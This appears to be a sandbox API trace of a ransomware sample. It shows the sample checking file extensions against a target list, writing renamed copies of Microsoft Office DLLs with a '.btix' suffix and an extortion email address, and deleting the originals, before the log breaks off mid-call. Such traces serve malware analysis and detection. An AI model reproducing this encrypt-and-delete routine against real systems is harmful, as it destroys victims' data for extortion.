[0156.410] lstrlenW (lpString=".zip") returned 4 [0156.410] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.410] lstrlenW (lpString=".rar") returned 4 [0156.410] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.410] lstrlenW (lpString=".bz2") returned 4 [0156.410] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.410] lstrlenW (lpString=".7z") returned 3 [0156.410] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0156.410] lstrlenW (lpString=".dbf") returned 4 [0156.410] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0156.410] lstrlenW (lpString=".1cd") returned 4 [0156.410] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0156.410] lstrlenW (lpString=".jpg") returned 4 [0156.410] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0156.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0156.410] lstrlenW (lpString=".doc") returned 4 [0156.410] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.410] lstrlenW (lpString=".docx") returned 5 [0156.410] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.410] lstrlenW (lpString=".pdf") returned 4 [0156.410] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.410] lstrlenW (lpString=".xls") returned 4 [0156.410] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.411] lstrlenW (lpString=".xlsx") returned 5 [0156.411] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.411] lstrlenW (lpString=".ppt") returned 4 [0156.411] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0156.411] lstrlenW (lpString=".zip") returned 4 [0156.411] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.411] lstrlenW (lpString=".rar") returned 4 [0156.411] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.411] lstrlenW (lpString=".bz2") returned 4 [0156.411] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.411] lstrlenW (lpString=".7z") returned 3 [0156.411] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0156.411] lstrlenW (lpString=".dbf") returned 4 [0156.411] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0156.411] lstrlenW (lpString=".1cd") returned 4 [0156.411] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0156.411] lstrlenW (lpString=".jpg") returned 4 [0156.411] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.411] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.411] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0156.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0156.412] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=19136) returned 1 [0156.412] CloseHandle (hObject=0x36c) returned 1 [0156.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0156.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0156.412] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.412] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0156.413] GetLastError () returned 0x0 [0156.413] ReadFile (in: hFile=0x36c, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0156.415] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0156.416] ReadFile (in: hFile=0x36c, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.416] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x126, lpOverlapped=0x0) returned 1 [0156.416] SetEndOfFile (hFile=0x358) returned 1 [0156.416] CloseHandle (hObject=0x358) returned 1 [0156.416] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.416] SetEndOfFile (hFile=0x36c) returned 1 [0156.417] CloseHandle (hObject=0x36c) returned 1 [0156.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 1 [0156.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0156.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0156.418] lstrlenW (lpString=".doc") returned 4 [0156.418] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.418] lstrlenW (lpString=".docx") returned 5 [0156.418] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0156.418] lstrlenW (lpString=".pdf") returned 4 [0156.418] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.418] lstrlenW (lpString=".xls") returned 4 [0156.418] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.418] lstrlenW (lpString=".xlsx") returned 5 [0156.418] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0156.418] lstrlenW (lpString=".ppt") returned 4 [0156.418] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0156.418] lstrlenW (lpString=".zip") returned 4 [0156.418] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.418] lstrlenW (lpString=".rar") returned 4 [0156.418] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.418] lstrlenW (lpString=".bz2") returned 4 [0156.418] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.418] lstrlenW (lpString=".7z") returned 3 [0156.418] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0156.418] lstrlenW (lpString=".dbf") returned 4 [0156.418] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0156.418] lstrlenW (lpString=".1cd") returned 4 [0156.418] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0156.418] lstrlenW (lpString=".jpg") returned 4 [0156.418] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0156.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0156.419] lstrlenW (lpString=".doc") returned 4 [0156.419] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.419] lstrlenW (lpString=".docx") returned 5 [0156.419] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0156.419] lstrlenW (lpString=".pdf") returned 4 [0156.419] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.419] lstrlenW (lpString=".xls") returned 4 [0156.419] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.419] lstrlenW (lpString=".xlsx") returned 5 [0156.419] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0156.419] lstrlenW (lpString=".ppt") returned 4 [0156.419] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0156.419] lstrlenW (lpString=".zip") returned 4 [0156.419] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.419] lstrlenW (lpString=".rar") returned 4 [0156.419] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.419] lstrlenW (lpString=".bz2") returned 4 [0156.419] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.419] lstrlenW (lpString=".7z") returned 3 [0156.419] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0156.419] lstrlenW (lpString=".dbf") returned 4 [0156.419] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0156.419] lstrlenW (lpString=".1cd") returned 4 [0156.419] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0156.420] lstrlenW (lpString=".jpg") returned 4 [0156.420] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.420] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.420] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0156.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0156.420] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=19136) returned 1 [0156.420] CloseHandle (hObject=0x36c) returned 1 [0156.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0156.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0156.421] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.421] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0156.421] GetLastError () returned 0x0 [0156.421] ReadFile (in: hFile=0x36c, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0156.423] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0156.424] ReadFile (in: hFile=0x36c, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.424] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x114, lpOverlapped=0x0) returned 1 [0156.424] SetEndOfFile (hFile=0x358) returned 1 [0156.424] CloseHandle (hObject=0x358) returned 1 [0156.424] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.424] SetEndOfFile (hFile=0x36c) returned 1 [0156.425] CloseHandle (hObject=0x36c) returned 1 [0156.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0156.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0156.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0156.426] lstrlenW (lpString=".doc") returned 4 [0156.426] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.426] lstrlenW (lpString=".docx") returned 5 [0156.426] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.426] lstrlenW (lpString=".pdf") returned 4 [0156.426] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.426] lstrlenW (lpString=".xls") returned 4 [0156.426] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.426] lstrlenW (lpString=".xlsx") returned 5 [0156.426] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.426] lstrlenW (lpString=".ppt") returned 4 [0156.426] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0156.426] lstrlenW (lpString=".zip") returned 4 [0156.426] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.426] lstrlenW (lpString=".rar") returned 4 [0156.426] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.426] lstrlenW (lpString=".bz2") returned 4 [0156.426] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.426] lstrlenW (lpString=".7z") returned 3 [0156.426] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0156.426] lstrlenW (lpString=".dbf") returned 4 [0156.426] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0156.426] lstrlenW (lpString=".1cd") returned 4 [0156.426] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0156.426] lstrlenW (lpString=".jpg") returned 4 [0156.427] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0156.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0156.427] lstrlenW (lpString=".doc") returned 4 [0156.427] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.427] lstrlenW (lpString=".docx") returned 5 [0156.427] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.427] lstrlenW (lpString=".pdf") returned 4 [0156.427] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.427] lstrlenW (lpString=".xls") returned 4 [0156.427] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.427] lstrlenW (lpString=".xlsx") returned 5 [0156.427] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.427] lstrlenW (lpString=".ppt") returned 4 [0156.427] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0156.427] lstrlenW (lpString=".zip") returned 4 [0156.427] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.427] lstrlenW (lpString=".rar") returned 4 [0156.427] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.427] lstrlenW (lpString=".bz2") returned 4 [0156.427] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.427] lstrlenW (lpString=".7z") returned 3 [0156.427] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0156.427] lstrlenW (lpString=".dbf") returned 4 [0156.427] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0156.427] lstrlenW (lpString=".1cd") returned 4 [0156.427] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0156.428] lstrlenW (lpString=".jpg") returned 4 [0156.428] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.428] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.602] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0156.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.147] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=18624) returned 1 [0157.147] CloseHandle (hObject=0x364) returned 1 [0157.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0157.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.147] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.148] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0157.148] GetLastError () returned 0x0 [0157.148] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0157.150] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0157.151] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.151] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x11a, lpOverlapped=0x0) returned 1 [0157.151] SetEndOfFile (hFile=0x358) returned 1 [0157.151] CloseHandle (hObject=0x358) returned 1 [0157.151] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.151] SetEndOfFile (hFile=0x364) returned 1 [0157.152] CloseHandle (hObject=0x364) returned 1 [0157.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0157.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0157.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0157.153] lstrlenW (lpString=".doc") returned 4 [0157.153] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.153] lstrlenW (lpString=".docx") returned 5 [0157.153] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.153] lstrlenW (lpString=".pdf") returned 4 [0157.153] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.153] lstrlenW (lpString=".xls") returned 4 [0157.153] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.153] lstrlenW (lpString=".xlsx") returned 5 [0157.153] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.153] lstrlenW (lpString=".ppt") returned 4 [0157.153] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81 [0157.153] lstrlenW (lpString=".zip") returned 4 [0157.153] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.153] lstrlenW (lpString=".rar") returned 4 [0157.153] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.153] lstrlenW (lpString=".bz2") returned 4 [0157.153] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.153] lstrlenW (lpString=".7z") returned 3 [0157.153] lstrcmpiW 